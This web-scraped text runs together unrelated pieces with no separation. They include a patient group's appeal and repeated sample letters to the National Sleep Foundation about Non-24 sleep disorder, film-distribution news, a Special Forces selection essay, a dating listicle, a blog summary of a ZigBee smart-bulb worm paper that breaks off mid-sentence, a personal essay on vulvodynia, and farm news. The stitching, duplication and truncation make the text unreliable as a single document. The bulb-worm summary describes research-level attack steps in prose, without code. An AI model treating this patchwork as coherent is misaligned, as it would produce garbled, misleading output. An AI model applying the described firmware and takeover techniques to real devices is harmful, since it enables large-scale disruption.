On the sleep disorders page, www.sleepfoundation.org/articles/sleep-disorders, add circadian rhythm sleep disorders (or add DSPS and Non-24)
Mention Circadian Sleep Disorders Network, and tell them to add a link to our page www.circadiansleepdisorders.org
We have also asked people on other venues, such as the Niteowl List and our Facebook page, to write letters too.
Sample letter to NSF Send to:
CC: [email protected]
Subject: Misinformation on the NSF Website The National Sleep Foundation (NSF) has created a new set of web pages for Non-24-Hour Sleep Wake Disorder at non24.sleepfoundation.org/index.php. These are sponsored by Vanda Pharmaceuticals, who are developing a new drug, tasimelteon, for treating non-24 in blind patients.Peter Mansbach and James Fadden wrote to Kristin Jones, our contact at NSF, over three weeks ago to complain and to offer suggested replacements. She has been receptive and encouraging, but she does not have the authority to make the changes. She has passed on our comments to the appropriate people. But there have been no changes yet.Peter has also contacted Vanda. They say their sponsorship was an unrestricted grant, and they had no hand in developing the text. We're seeking their support for the changes we want. They don't want to alienate prospective future customers.There is a drop-down list near the top of the NSF home page with various sleep disorders. But neither Circadian Rhythm Sleep Disorders, nor Delayed Sleep Phase Disorder, nor Non-24-Hour Sleep-Wake Disorder is on the list. Clicking on the items in this list takes you to a page on the selected disorder. So we'd need a page (or several) on CRSDs.There is a separate page (actually 2 linked pages) also listing sleep disorders, at www.sleepfoundation.org/articles/sleep-disorders. Here too, neither Circadian Sleep Disorders, nor Delayed Sleep Phase Disorder, nor Non-24-Hour Sleep-Wake Disorder is on the list.And nowhere do they link to the Circadian Sleep Disorders Network web site, www.circadiansleepdisorders.org/ We have asked them to rectify these changes on several occasions, but they have not responded.Please write the National Sleep Foundation to underscore your concerns about all these issues. You can write Kristin Jones at [email protected]. She has promised to forward emails to the people with authority. If enough people are upset enough, we will get action. And [email protected], so we get an idea of how many people wrote. We may also want to forward some of the letters to Vanda, to help persuade them to support these changes, so please do copy us.Peter's suggested substitutions and James's support letter are copied below, in case you want to use any of this information in your letters. It is best if you use your own words. Some talking points:We have also asked people on other venues, such as the Niteowl List and our Facebook page, to write letters too.Send to: [email protected] CC: [email protected]: There is no support in the medical literature for this statement on the NSF web site (non24.sleepfoundation.org/depression.html, 2nd paragraph): "For sighted subjects, this pathway is likely functional, but patients are generally not exposed to an appropriate 24-h day-night cycle. As a result, their internal clocks become unsynchronized with the 24-hour norm. Therefore, N24HSWS is transient, reversible, and may be associated with a psychiatric disorder in sighted subjects, since the disorder is behaviorally induced in these cases." A shorter but similar statement on non24.sleepfoundation.org/facts_prevalence.html, 3rd paragraph, is equally incorrect. Comments such as these are scientifically inaccurate, highly offensive and do considerable harm to sighted persons with N24 by perpetuating the idea that sufferers are mentally ill or cause their disorder by abnormal behavior. This perpetuates misconceptions that are very harmful to sighed persons with N24. All our lives we have been told we are just lazy, it's all in our mind, we're just not trying hard enough. And now the National Sleep Foundation is essentially saying the same thing. Replace these statements. I understand Peter Mansbach has suggested replacements. Also, the entire series of pages on Non-24 seems to me to be written from the point of view that Non-24s are keeping a normal 24 hour day, and feeling tired from time to time when they're out of sync. It does not acknowledge the many people who just can't sleep on a normal schedule at all and who therefore cannot function on a 24 hour day. And there's no mention of Circadian Sleep Disorders Network and no link to their website which has additional helpful information. Regarding your main web site, there is a drop-down list near the top of the NSF home page with various sleep disorders. But neither Circadian Rhythm Sleep Disorders, nor Delayed Sleep Phase Disorder, nor Non-24-Hour Sleep-Wake Disorder is on the list. Clicking on the items in this list takes you to a page on the selected disorder. So you also need a page (or several) on Circadian Rhythm Sleep Disorders. There is a separate page (actually 2 linked pages) also listing sleep disorders, at www.sleepfoundation.org/articles/sleep-disorders. Here too, neither Circadian Sleep Disorders, nor Delayed Sleep Phase Disorder, nor Non-24-Hour Sleep-Wake Disorder is on the list. The NSF is a well-known and - so far - a reputable organization. Please don't compromise your reputation by posting misinformation. Sincerely,
<your name>
Suggested substitutions To replace the first group of sentences quoted earlier:
"For sighted subjects, several mechanisms for N24HSWS have been suggested, including deficiencies in the ipRGC cells of the retina, under- or over-sensitivity of the eye to light, differences in the intrinsic circadian feedback loop, problems with melatonin production, etc. This is a serious disorder, extremely disruptive of people's lives, and it is not known how many people suffer from it."
And instead of the second group:
"People with N24HSWD have circadian rhythms that are not synchronized with the 24-hour day-night cycle, either through a failure of light to reach the SCN, as in total blindness, or due to various other reasons in sighted people."
James's letter to NSF There is no support in the medical literature for this statement on the NSF web site: "For sighted subjects, this pathway is likely functional, but patients are generally not exposed to an appropriate 24-h day-night cycle. As a result, their internal clocks become unsynchronized with the 24-hour norm. Therefore, N24HSWS is transient, reversible, and may be associated with a psychiatric disorder in sighted subjects, since the disorder is behaviorally induced in these cases."
Uchiyama et al. studied 57 cases of sighted person with N24 and found that 72% (41/57) did not have any history of psychiatric disorder prior to development of N24. 34% of N24 patients developed depression *after* and as a consequence of their N24. There was no evidence that in any of these patient that the N24 disorder was "transient" or "reversible". [1].
Numerous studies have demonstrated biological abnormalities in sighted patients with N24 that are not consistent with a psychiatric or behavioral causation [2,3,4,5,6,7]. The vast majority of published cases describe an enduring and not transient or reversible course.
My own case of N24 was extensively studied for over 3 years by Drs. Thomas Wehr and Dan Oren of the National Institutes of Health. In the paper they published on my case they stated [8]:
"Diagnostic SCID of Axis I DSM-III-R disorders showed no evidence of any non-sleep-wake disorder (Spitzer et aI., 1989). Clinical evaluation by a psychiatrist provided no evidence of a personality disorder." The patient was described as "having a pleasant and engaging personality."
Since my disorder has been present for over 30 years one could hardly describe it as "transient". While it does respond partially to treatment I relapse immediately if treatment is disrupted so the condition cannot be called "reversible". The condition has imposed a terrible burden on my life.
I believe my case is typical of those of sighted persons with N24.
Comments such as you present are scientifically inaccurate, highly offensive and do considerable harm to sighted persons with N24 by perpetuating the idea that sufferers are mentally ill or cause their disorder by abnormal behavior. This perpetuates misconceptions that are very harmful to sighed persons with N24.
I strongly urge you to make the changes in your web page that Peter Mansbach has suggested on behalf of the Circadian Sleep Disorders Network.
REFERENCES
1. Hayakawa T, Uchiyama M, Kamei Y, et al.
Clinical analyses of sighted patients with non-24-h sleep-wake syndrome: a study of 57 consecutively diagnosed cases. Sleep 2005;28(8):949
2. Boivin DB, James FO, Santo JB, Caliyurt O, Chalk C. Non-24-hour sleep-wake syndrome following a car accident. Neurology. 2003 Jun 10;60(11):1841-3.
3. McArthur AJ, Lewy AJ, Sack RL.Non-24-hour sleep-wake syndrome in a sighted man: circadian rhythm studies and efficacy of melatonin treatment.
Sleep. 1996 Sep;19(7):544-53.
4. Hashimoto S, Nakamura K, Honma S, Honma K.
Free-running of plasma melatonin rhythm prior to full manifestation of a
non-24 hour sleep-wake syndrome.
Psychiatry Clin Neurosci. 1998 Apr;52(2):264-5.
5. Takimoto M, Hamada A, Tomoda A, Ohdo S, Ohmura T, Sakato H, Kawatani J, Jodoi T, Nakagawa H, Terazono H, Koyanagi S, Higuchi S, Kimura M, Tukikawa H, Irie S, Saito H, Miike T. Daily expression of clock genes in whole blood cells in healthy subjects and a patient with circadian rhythm sleep disorder. Am J Physiol Regul Integr Comp Physiol. 2005 Nov;289(5):R1273-9.
Epub 2005 Jun 16.
6. Nakamura K, Hashimoto S, Honma S, Honma K, Tagawa Y. A sighted man with non-24-hour sleep-wake syndrome shows damped plasma melatonin rhythm.
Psychiatry Clin Neurosci. 1997 Jun;51(3):115-9.
7. Uchiyama M, Shibui K, Hayakawa T, Kamei Y, Ebisawa T, Tagaya H, Okawa M, Takahashi K. Larger phase angle between sleep propensity and melatonin rhythms in sighted humans with non-24-hour sleep-wake syndrome. Sleep. 2002 Feb 1;25(1):83-8.
8. Oren DA, Giesen HA, Wehr TA. Restoration of detectable melatonin after entrainment to a 24-hour schedule in a 'free-running' man.
Psychoneuroendocrinology. 1997 Jan;22(1):39-52.
To replace the first group of sentences quoted earlier:"For sighted subjects, several mechanisms for N24HSWS have been suggested, including deficiencies in the ipRGC cells of the retina, under- or over-sensitivity of the eye to light, differences in the intrinsic circadian feedback loop, problems with melatonin production, etc. This is a serious disorder, extremely disruptive of people's lives, and it is not known how many people suffer from it."And instead of the second group:"People with N24HSWD have circadian rhythms that are not synchronized with the 24-hour day-night cycle, either through a failure of light to reach the SCN, as in total blindness, or due to various other reasons in sighted people."There is no support in the medical literature for this statement on the NSF web site: "For sighted subjects, this pathway is likely functional, but patients are generally not exposed to an appropriate 24-h day-night cycle. As a result, their internal clocks become unsynchronized with the 24-hour norm. Therefore, N24HSWS is transient, reversible, and may be associated with a psychiatric disorder in sighted subjects, since the disorder is behaviorally induced in these cases."Uchiyama et al. studied 57 cases of sighted person with N24 and found that 72% (41/57) did not have any history of psychiatric disorder prior to development of N24. 34% of N24 patients developed depression *after* and as a consequence of their N24. There was no evidence that in any of these patient that the N24 disorder was "transient" or "reversible". [1].Numerous studies have demonstrated biological abnormalities in sighted patients with N24 that are not consistent with a psychiatric or behavioral causation [2,3,4,5,6,7]. The vast majority of published cases describe an enduring and not transient or reversible course.My own case of N24 was extensively studied for over 3 years by Drs. Thomas Wehr and Dan Oren of the National Institutes of Health. In the paper they published on my case they stated [8]:"Diagnostic SCID of Axis I DSM-III-R disorders showed no evidence of any non-sleep-wake disorder (Spitzer et aI., 1989). Clinical evaluation by a psychiatrist provided no evidence of a personality disorder." The patient was described as "having a pleasant and engaging personality."Since my disorder has been present for over 30 years one could hardly describe it as "transient". While it does respond partially to treatment I relapse immediately if treatment is disrupted so the condition cannot be called "reversible". The condition has imposed a terrible burden on my life.I believe my case is typical of those of sighted persons with N24.Comments such as you present are scientifically inaccurate, highly offensive and do considerable harm to sighted persons with N24 by perpetuating the idea that sufferers are mentally ill or cause their disorder by abnormal behavior. This perpetuates misconceptions that are very harmful to sighed persons with N24.I strongly urge you to make the changes in your web page that Peter Mansbach has suggested on behalf of the Circadian Sleep Disorders Network.REFERENCES1. Hayakawa T, Uchiyama M, Kamei Y, et al.Clinical analyses of sighted patients with non-24-h sleep-wake syndrome: a study of 57 consecutively diagnosed cases. Sleep 2005;28(8):9492. Boivin DB, James FO, Santo JB, Caliyurt O, Chalk C. Non-24-hour sleep-wake syndrome following a car accident. Neurology. 2003 Jun 10;60(11):1841-3.3. McArthur AJ, Lewy AJ, Sack RL.Non-24-hour sleep-wake syndrome in a sighted man: circadian rhythm studies and efficacy of melatonin treatment.Sleep. 1996 Sep;19(7):544-53.4. Hashimoto S, Nakamura K, Honma S, Honma K.Free-running of plasma melatonin rhythm prior to full manifestation of anon-24 hour sleep-wake syndrome.Psychiatry Clin Neurosci. 1998 Apr;52(2):264-5.5. Takimoto M, Hamada A, Tomoda A, Ohdo S, Ohmura T, Sakato H, Kawatani J, Jodoi T, Nakagawa H, Terazono H, Koyanagi S, Higuchi S, Kimura M, Tukikawa H, Irie S, Saito H, Miike T. Daily expression of clock genes in whole blood cells in healthy subjects and a patient with circadian rhythm sleep disorder. Am J Physiol Regul Integr Comp Physiol. 2005 Nov;289(5):R1273-9.Epub 2005 Jun 16.6. Nakamura K, Hashimoto S, Honma S, Honma K, Tagawa Y. A sighted man with non-24-hour sleep-wake syndrome shows damped plasma melatonin rhythm.Psychiatry Clin Neurosci. 1997 Jun;51(3):115-9.7. Uchiyama M, Shibui K, Hayakawa T, Kamei Y, Ebisawa T, Tagaya H, Okawa M, Takahashi K. Larger phase angle between sleep propensity and melatonin rhythms in sighted humans with non-24-hour sleep-wake syndrome. Sleep. 2002 Feb 1;25(1):83-8.8. Oren DA, Giesen HA, Wehr TA. Restoration of detectable melatonin after entrainment to a 24-hour schedule in a 'free-running' man.Psychoneuroendocrinology. 1997 Jan;22(1):39-52.
Newsletters are archived on the Members page, in case you want to see this letter again.
You can email us with comments and suggestions about this letter (or anything else) at [email protected] Solution Entertainment Group has sold the world on “Bleed for This,” which stars “Whiplash” and “Divergent” star Miles Teller as boxer Vinny Pazienza, with Sony Pictures Worldwide Acquisitions taking multiple territories.
Sony has acquired all rights to the pic, which also stars Aaron Eckhart, for Germany, France, Spain, Benelux, Canada, Scandinavia, Australia, Latin America, Eastern Europe, Greece and South Africa.
The film, written and directed by Ben Younger (“Boiler Room”), will be released by Open Road Films in the U.S. following its recent $4 million acquisition at the Cannes Film Festival. The deal was brokered by CAA and WME Global.
“The film features an incredible performance from Miles Teller, who completely transforms himself into the character of legendary boxer Vinny Pazienza, and will blow audiences away with this role,” said Lisa Wilson, who is co-founder and joint partner at the Solution with Myles Nestel.
The Solution has also sold the previously announced U.K. to Icon Film Distribution, Italy to Notorious Pictures, CIS and the Baltic States to Enjoy Movies, Portugal to NOS Lusomundo Audiovisuais, Japan to Phantom Film, Hong Kong to Panorama Entertainment and South Korea to With Lion.
Related The Best Fashion at Cannes 2018 Alejandro G. Iñárritu Named Cannes Jury President
Additional sales include Israel to Forum Film, the Middle East to Eagle Films, Turkey to Pinema, India to PictureWorks, Indonesia to Queen International Pictures, Taiwan to Red Pictures, pan-Asia satellite TV to Tanweer and international airlines to Cinesky Pictures.
The producers are Bruce Cohen (“American Beauty,” “Silver Linings Playbook”), Emma Tillinger Koskoff (“The Wolf of Wall Street,” upcoming “Silence”), Chad Verdi, Noah Kraft, Younger and Pamela Thur-Weir.
The film is executive produced by Martin Scorsese alongside the Solution’s Wilson and Nestel, and Michelle Verdi. Magna Entertainment funded the film, and its principal, Joshua Sason, is also an executive producer.
Based on the true story of one of boxing’s most charismatic figures, “Bleed for This” centers around Pazienza, who shot to stardom when he dominated undefeated champion Gilbert Dele. A near-fatal automobile accident left him with the news that he would never walk again. After months of recovery and against doctors’ orders, Vinny returned to the gym under infamous trainer Kevin Rooney (Eckhart), and made a triumphant return to the ring just over a year later.The US military has plenty of specialized units with varying missions and each has their own niche carved out thru years of intense training. Whether it be the Army, Navy, Air Force, or the Marines, each service has their own specialized units. For this piece, we’re going to deal with the US Army Special Forces, popularly known as the “Green Berets.”
If you’re reading this perhaps you’ve already decided that Special Forces is for you and you’re getting ready to prep for Special Forces Assessment and Selection (SFAS) and a chance to attend the Special Forces Qualification Course or “Q” course.
This article won’t deal with the ‘how-to’ tips that will help you get thru selection, although we’ll touch briefly on that subject. First, let us separate fact from fiction. We’ve all heard the wife’s tales and myths of the Special Forces soldier, right? “You have to be 10-feet tall and bulletproof.” “SF guys have to have the athletic ability of NFL players.” Yadda, yadda, these are total fabrications.
There isn’t any big secret about passing selection, in fact to those of us who worked out there the saying used to be, “the answer is so simple that it is hard.” It is all about you the individual. Selection is 70 percent mental and 30 percent physical. You don’t have to look like an NFL linebacker to pass the course. I certainly didn’t and the vast majority of guys I finished with didn’t either.
In fact, most of the guys who looked like that passed by the wayside, it becomes simply a matter of mind over matter. You will have to want it and won’t let anything stop you from reaching that ultimate goal. That may sound a little simplistic but that is it in a nutshell. There will be times when you are exhausted beyond belief, between either selection or the Q-course and that is when the SF guys get separated from the other guys who thought they wanted to be there.
Selection is a test of will, nothing more. Don’t let your mind play tricks on you and focus only on what you’re doing today. Get thru the day and don’t worry about what comes tomorrow. That doesn’t exist. You’ll get no feedback from the cadre other than the stock “do the best you can”, and I for one think that’s the best way. Special Forces doesn’t want guys who need constant reassurance. They want soldiers who will go the extra mile and keep going on their own.
The extra mile is a good place to go back to the being fit part. Don’t come to Selection fresh from being a couch potato. There are plenty of guides of how to properly prepare for the rigors of the course and they all will get you into the arena. You don’t have to be the fastest runner, but it certainly won’t hurt. But the biggest obstacle in your path is your rucksack. Soldiers who can strap the big pain pill on and continue to drive on are what the cadre are looking for.
Soldiers who came from a light infantry or a Ranger battalion will have already mastered the art of rucking for long distances. For soldiers coming from a different background, that is where they are sailing into uncharted waters. And that is where the will to continue comes in. Even the most hardened troops get worn out and tired, that is what the course is designed to do.
I recall the adage that fatigue makes cowards of us all is quite telling but not entirely true. The Special Forces soldier won’t give in to his fatigue and keep on going. If you allow doubt to creep into your mind, you are already defeated. In my post-SF life, I’ve had the privilege of covering the NFL and one of the most intriguing people I’ve met is Bill Belichick the coach of the New England Patriots. He has stated that if a player is thinking about retiring, then he’s already retired. It is the same thing.
And another thing, don’t worry about the instructors. Too many times I saw candidates withdraw because the lack of feedback from the instructors they took as a sign that the instructors want them to fail. Nothing could be further from the truth.
They’ve been where you are and experienced all the same things. They want to see you succeed. But only if you meet the standards. Then they’ll be happy to be standing next to you in the Regiment. To interject a personal note, I went thru the Q-course before there was a selection course (yes I am really dating myself here). So, when I was assigned there as an instructor, I had to go thru the next course with five other already tabbed SF guys. It was fresh off a deployment to Honduras where I caught dysentery and lost about 25 pounds.
It wasn’t the most fun time of our lives but there were moments. As we climbed into the truck to go to the land navigation course, one of the candidates asked why already tabbed SFers were going thru the Selection course.
It was a question we weren’t prepared for. But one of our guys, I believe it was Art Ebinger who said, “NASA is sending up three SF guys on the next Space Shuttle launch, and our training begins here with Selection and then we’re off to astronaut training. You could have heard a pin drop. I had to look out the back of the truck to keep from breaking up laughing.
While the technology will continue to change and evolve for our Special Forces, the one thing that doesn’t change are the men who wear the Green Beret. If you have it in you to succeed, nothing will stand in your way. It was the best time of my life, the years I spent in SF, and many of the men I served with back then, I’m still close to today. You’ll make friendships that will last a lifetime.
Image courtesy of DoDBeing old-fashioned is nothing to be ashamed of. Especially when you add a bit of modern flare. I’m not one to respect or appreciate tradition, but some traditions – or beliefs on reality – are worth maintaining.
Enter the modern-day, old-fashioned gentleman. He is the sort of man who takes only the best of the past and innovates it to fit modern-day standards.
He sees the good and the bad from past and present, electing to keep certain things alive while letting go of those that should have never existed in the first place. Are you a modern-day, old-fashioned gentleman?
1. You wear what you want to wear, but you keep it classy.
Let’s be honest with ourselves… there is an aesthetically pleasing way to dress and then there are other ways. It may be entirely based on socially acceptable beliefs, but because we function within a society, it’s best to keep those beliefs in mind.
The way you dress greatly decides how people judge you and how they treat you. Plus, there is such a thing as beauty – and those laws are governed by nature. Try to use them as guidelines.
2. You treat women with respect, but you know better than to be a "nice guy."
Women are tricky because while they want to be respected, they also want you to have them when you fall in love. They want to be inhaled, ravished, loved, consumed.
The modern, yet old-fashioned guy does his best to be the man the woman he loves wants him to be.
3. You don’t need to swear because you have an extensive vocabulary.
A real old-fashioned gentleman uses his words and uses them like a painter uses a brush.
Why exclaim profanities when you can better describe how aggravated you are? But don’t overdo it. Simplicity is key in communication.
4. You respect yourself – body and mind.
You can’t replace you – you can’t upgrade to a newer and better model. A proper old-fashioned man treats himself as an old-fashioned man would.
He makes sure to look good, smell good, taste good, and – most importantly – feel good. Being on the top of your game mentally and physically is the only way a true old-fashioned gentleman wishes to live.
5. You stay close with your family members because you want them to know you love them.
They raised you. They were a huge part of your childhood. And they love you – you want them to know that you love them to. It’s easy to take family for granted.
But life is a temporary thing; you will lose people. Don’t lose the opportunity to make them feel loved and appreciated.
6. When you take a woman out on a date, you make sure it’s memorable for her.
A real modern, old-fashioned man doesn’t want to use women. He wants to create memories with them and for them – as well as for himself, of course.
Too many people these days see dating as a recreational activity rather than as a potential start to a new life. If you don’t believe seeing them is important then it won’t be.
7. You’re comfortable with relying on yourself and don’t take handouts.
Old-fashioned guys like to do things their own way, with their own two hands. They take pride in their work and their accomplishments, never wishing to have it any other way.
8. You believe in true love and aren’t afraid to fall.
An old-fashioned gentleman knows the importance of a woman’s love – in fact, he lives for it. He wants to find that person who will mean the world to him, and he isn’t afraid to devote himself to her when she’s found.
Well… he may be afraid. He may be scared sh*tless. But he goes for it anyway because that’s what he wants and he goes after what he wants.
9. You treat your woman like a queen because she’s your woman.
While he treats all women with respect, his woman gets special treatment. Why? Because she’s special and he needs her to understand that she is. That is the purpose he sees himself as serving: making her feel like the amazing, beautiful, incredible human being that she is.
Photo Courtesy: Moritz Aust
For More Of His Thoughts And Ramblings, Follow Paul Hudson On Twitter And Facebook.Parisian boutique colette has linked up with Saint Laurent and Travis Scott for a limited edition vinyl release.
Every collectible record features 12 carefully selected tracks by Scott himself, including songs by Kanye West and Frank Ocean.
The record is made in production with 12on12 and Flaunt magazine, with a limited release of 500 presses. Each individually numbered disc will be presented in a black leather pouch, conceived and designed by Saint Laurent creative director Anthony Vaccarello.
To celebrate the collaboration, colette will hold a launch at its Paris store on December 18, with a personal appearance from Travis Scott himself, who will be on hand to sign records. For more, check out the video below.
In similar news, here’s a quick look at the upcoming Travis Scott x Quavo song release
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Main and Featured image: Saint Laurent / YouTube
Words by Candice Nembhard Staff Writer A Berlin-based gal from Brum.IoT goes nuclear: creating a ZigBee chain reaction
IoT goes nuclear: creating a ZigBee chain reaction Ronen et al., IEEE Security and Privacy 2017
You probably don’t need another reminder about the woeful state of security in IoT, but today’s paper choice may well give you further pause for thought about the implications. The opening paragraph sounds like something out of science fiction – except that it’s a demonstrated reality today:
Within the next few years, billions of IoT devices will densely populate our cities. In this paper, we describe a new type of threat in which adjacent IoT devices will infect each other with a worm that will rapidly spread over large areas, provided that the density of compatible IoT devices exceeds a certain critical mass.
The ZigBee protocol is the radio link of choice for many IoT devices since it is simple and widely available at low cost and with low power consumption. It has much lower bandwidth than WiFi, but that doesn’t matter for many IoT applications. The popular Philips Hue smart lamps use ZigBee for example. Suppose you could build a worm that jumps directly from one lamp to another using their ZigBee wireless connectivity and their physical proximity. If the install base of lamps in a city is sufficiently dense, you could take them all over in no time, with the worm spreading like a physical virus. The authors of today’s paper demonstrate exactly how to build such a worm:
… we developed and verified such an infection using the popular Philips Hue smart lamps as a platform… The attack can start by plugging in a single infected bulb anywhere in the city, and then catastrophically spread everywhere within minutes.
If plugging in an infected bulb is too much hassle, the authors also demonstrate how to take over bulbs by war-driving around in a car, or by war-flying a drone. (I get the impression they had fun with this one!). Based on percolation theory, we can estimate that if a city such as Paris has around 15,000 or more randomly located smart lamps then the attack will spread everywhere within the city.
What we demonstrate in this paper is that even IoT devices made by big companies with deep knowledge of security, which are protected by industry-standard cryptographic techniques, can be misused by hackers can rapidly cause city-wide disruptions which are very difficult to stop and investigate.
I just p3wned your city!
The whole paper is a wonderful tour de force that combines two main elements:
A Correlation Power Analysis (CPA) attack against the CCM encryption mode used to encrypt and verify firmware updates, allowing the authors to encrypt, sign, and upload malicious OTA updates to infect lamps. A takeover attack that allows the authors to take control over lamps from long distances without using custom hardware.
Let’s look at these two components in turn, and then revisit the analysis that shows how easily such a worm can spread through a city given a relatively low density of installed bulbs. We’ll conclude by considering some of the attacks this enables, and another appeal for better IoT security.
Uploading malicious firmware
ZigBee provides an OTA update feature that the authors exploit. They started out by finding several different older Hue models which had previously had software updates. By plugging these in and letting them update, a recording of the update process can be made for analysis, which enabled discovery of the hex code OTA requires to be sent over the air. The team then wrote a python script to impersonate a lightbulb and ask for an OTA update using the code.
The firmware image that we recorded was not dependent on our impersonated lightbulb MAC address. This brought us to the conclusion that the software is protected by a single key that is shared |
noticeable: an expectation of pain at my annual gyno exam, a lifelong difficulty with tampons. If I hadn’t been seeking treatment for co-occurring pelvic pain, I might have never even noticed it.
Yet in the year since I’ve been diagnosed doctor after doctor has told me, with great conviction, that it’s a problem if I can’t and don’t have penetrative sex — which is how I’ve come to spend a couple nights a week with the world’s least sexy dildos. My doctors are convinced that, despite all my protests to the contrary, I may, someday, want to be able to be penetrated.
The implication — that I need to endure a painful, mortifying treatment regimen to make sure I’m ready if an interested phallus ever came along — makes me feel intensely ashamed in a way I’ve struggled to shake.
My physical therapist is a kind, older woman who likes to talk about movies while feeling around the muscles of my pelvic floor. When I asked her why I should bother with the dilators at all, she assured me it was worth it. Think how convenient to be able to use tampons, she enthused, and how pleasant to avoid excruciating pain with a speculum exam.
“I don’t think you need to go up to size large,” she said — the size that corresponded to a penis. It was more understanding than I’d gotten from any other doctor, but it seems like an extraordinary amount of effort and angst to avoid ten minutes of pain once a year. So I’m an inconsistent patient, doing it only occasionally, which, of course, makes it hurt more.
Intellectually, I get that the dilator helps relax the pelvic floor muscles around the vaginal opening, a genuinely useful function for managing chronic pelvic pain — though, weirdly, not one my doctors often discussed. They focus single-mindedly on sex, and it poisons the whole endeavor. What’s wrong with me, that I need to regularly stretch out my vagina? (That’s not what it’s doing, I remind you and also myself.) And who am I doing it for, since it doesn’t feel like it’s for me?
From the moment my mysterious chronic pelvic pain landed me in the ER, penetration and my ability to endure it was a theme. When the ER doctor sent me for a transvaginal ultrasound, I showed up braced for pain. Instead, the tech performed a regular, external ultrasound, then looked at the order again and asked: “Have you had sex?”
“Um.” It wasn’t a question I was ready for. “Yes, but I’m a lesbian, so…”
If I were a different person — bolder, or at least more blunt — I might have answered differently. “I’m pretty sure I don’t still have a hymen, if that’s what you mean.” Or, “Do fingers count?” But I’m awkward to my core, so I trailed off, leaving the tech looking somewhat alarmed.
“I just need to know if you’ve had intercourse. We can’t perform the test if you haven’t.”
Intercourse sounded heterosexual. “I haven’t,” I confirmed, and was released to put my clothes back on.
Later, I was annoyed — what if there had been an urgent problem, and I’d been denied the test I needed because fingers didn’t count? But at the time I was just relieved to have been spared another round of pain and embarrassment. I never got the ultrasound results.
After the ER visit, I was referred to a urogynecologist with a months-long wait. When I finally arrived at the appointment, it seemed like everything went wrong. The doctor ran an hour late, forcing a flurry of flustered Slack apologies to my boss. I was so anxious that when the nurse went to take my pulse, the machine thought I was having a heart attack. I sat for ages, taking deep breaths until they could get a less dire reading.
The doctor herself was brusque, asking a few cursory questions before putting me up in the stirrups. The room felt packed with people; one nurse smeared jelly on my pelvis for a bladder scan, while another stood by the computer, taking down the numbers the doctor called out as she conducted some sort of incomprehensible vagina-measuring.
“Does this hurt?” the doctor started asking, prodding a spot on my vulva. “How about this?”
There was a sharp prick of pain against the deeper burn of the speculum. I was still riding waves of panic, mortified, desperate to be done. I’d like to say I snapped, but it came out a watery whine: “Yes.”
“It shouldn’t. I’m just barely touching you with this.” The doctor held up the implement so I could see: A Q-tip.
“Do you have pain with sex?” she asked, showing real concern for the first time.
I didn’t, but I wasn’t quite sure what she would count as sex and was too embarrassed to broach the topic. I hedged. “Um, I’m not currently sexually active. And I’m a lesbian. So…”
Her brow furrowed. “But you could still do penetration.”
“I haven’t really, though.” I shrugged, silently praying she’d drop it.
“You might want to someday.” She was not dropping it.
“It doesn’t really interest me.”
She frowned and handed me a patient education pamphlet, a referral to physical therapy and a prescription for an expensive topical cream.
As a cis lesbian, I’m not the typical patient for this disease — and when my doctors don’t know what to do with me, I’ve had to figure some things out for myself. Vulvodynia is classified based on whether or not symptoms appear the first time a person has intercourse, meaning PIV, leaving me unsure where I fall. Treatment focuses on addressing pain with sex — a problem I don’t currently have.
When I appeared in my urogynecologist and physical therapist’s offices, yelping at a Q-tip, they made some assumptions about the direction my treatment should take. And their assumptions made me feel terrible. All the doctors agreed about what kind of sex I should want to have, and how much pain and inconvenience I should be willing to endure to have it. Their certainty made me feel that must be the one who was wrong about my own body and desire. As a queer person, that’s not an unfamiliar message: it’s just a phase, it’s a sin, it’s not real sex.
After about a year of appointments, angst, and sitting around with a dilator in, this is where I’ve landed: My treatment goals are “get through my annual gyno exam without crying.” At check-ups, my doctor has toned down the questions about my what kind of sex I’m having to a brief, “Still not sexually active?” — embarrassing, but an improvement. I graduated physical therapy with orders to keep using the dilator “two or three times a week,” a frequency I do not meet but vaguely aspire to. I dread the day I have to explain this routine to a new girlfriend, but that’s a bridge I’ll cross when I get there.
Because I’m not wrong about my own body. I decide what discomfort I tolerate, what symptoms I care about and what kind of sex I have, heteronormative bullshit be damned.(CNN) -- Two farmers died and three others were injured Wednesday when lightning struck a barn in in Buckeye, Kentucky, an official said.
The two were working in the barn, hanging tobacco leaves for the "curing" process that dries out the leaves with heat, when the bolt struck. Garrard County EMS Supervisor Tim May identified the victims as Bobby Maggard, 29, and Scotty Elam, 25.
The two were in the barn's rafter-like beams about 12 to 15 feet off of the ground at the time, he said.
May said there were eight people in the barn at the time, and five of them were hit by the lightning charge.
Of the three injured, one was transported to an area hospital with non-life threatening injuries.
May said it is harvest season for tobacco in Kentucky and the group worked for local tobacco producer Wilmot Farms.
A phone number listed for Wilmot Farms went unanswered Wednesday night.
12 soldiers hurt in Colorado lightning strikeThree months of below average rain across large swathes of New South Wales is resulting in a continued downgrading of crops.
Many agronomists now believe that 40 per cent of the yield potential has now been lost with the situation compounded by widespread frosts in many regions.
Cowra agronomist Peter Watt of Elders said crops in his region were just holding on.
"We need rain for some of our farmers to get out of jail this year," he said.
"Unfortunately, the forecast is for extremely hot conditions coming up over the weekend and that is the last thing we need.
"What has probably saved many farmers in this region is the fact they are not just cropping but they have sheep and cattle providing them with income from meat and wool."
Northern crops hit hardest
Further north of Cowra, between Narromine and Warren, the situation is even more desperate.
Agronomist with Muldoon Pratten, Ryan Pratten, said a lot of crops were beyond saving and most likely would be used as animal fodder.
"Lack of rainfall since March, an exceptionally dry winter, and a series of frosts have really knocked the crops around here," he said.
"It is still unknown how much damage the frost has done to the wheat crops and it will be two weeks before we can quantify it.
"Further north, around Walgett, the situation is even worse and many did not even bother to sow a crop this year."
Tony Lockrey, agronomist in the Moree and Narrabri district, said they were really struggling with barley, canola, and wheat crops all under huge pressure.
He said they were going backwards rapidly after a challenging year right from the start.
"Some of the best margins of returns are on paddocks where nothing was planted as the costs were kept way down," he said.
"Many of the failed crops are now being used as cattle feed as they are not worth harvesting."
Worthless crops to become fodder for animals
The parlous nature of the crops in NSW should come as no surprise.
A new report by the Climate Council found Australia had experienced the hottest winter on record across the nation.
It has also been one of the driest, with average maximum temperatures up to two degrees Celsius higher than usual.
The report shows that this year's winter had seen 260 individual records broken for record daytime temperatures and low rainfall.
The Council's Professor Lesley Hughes said statistically, this was 60 times more likely to be because of climate change and global warming and that warm weather would now be the norm.
"Farmers are bearing the brunt of these extreme weather conditions and NSW is copping it this year in particular," she said.
"We know that farmers are great adapters [at] choosing different varieties: earlier harvesting, changing sowing times and trying different types of crops.
"However, many experts are asking just how much more farmers can adapt and still stay profitable?
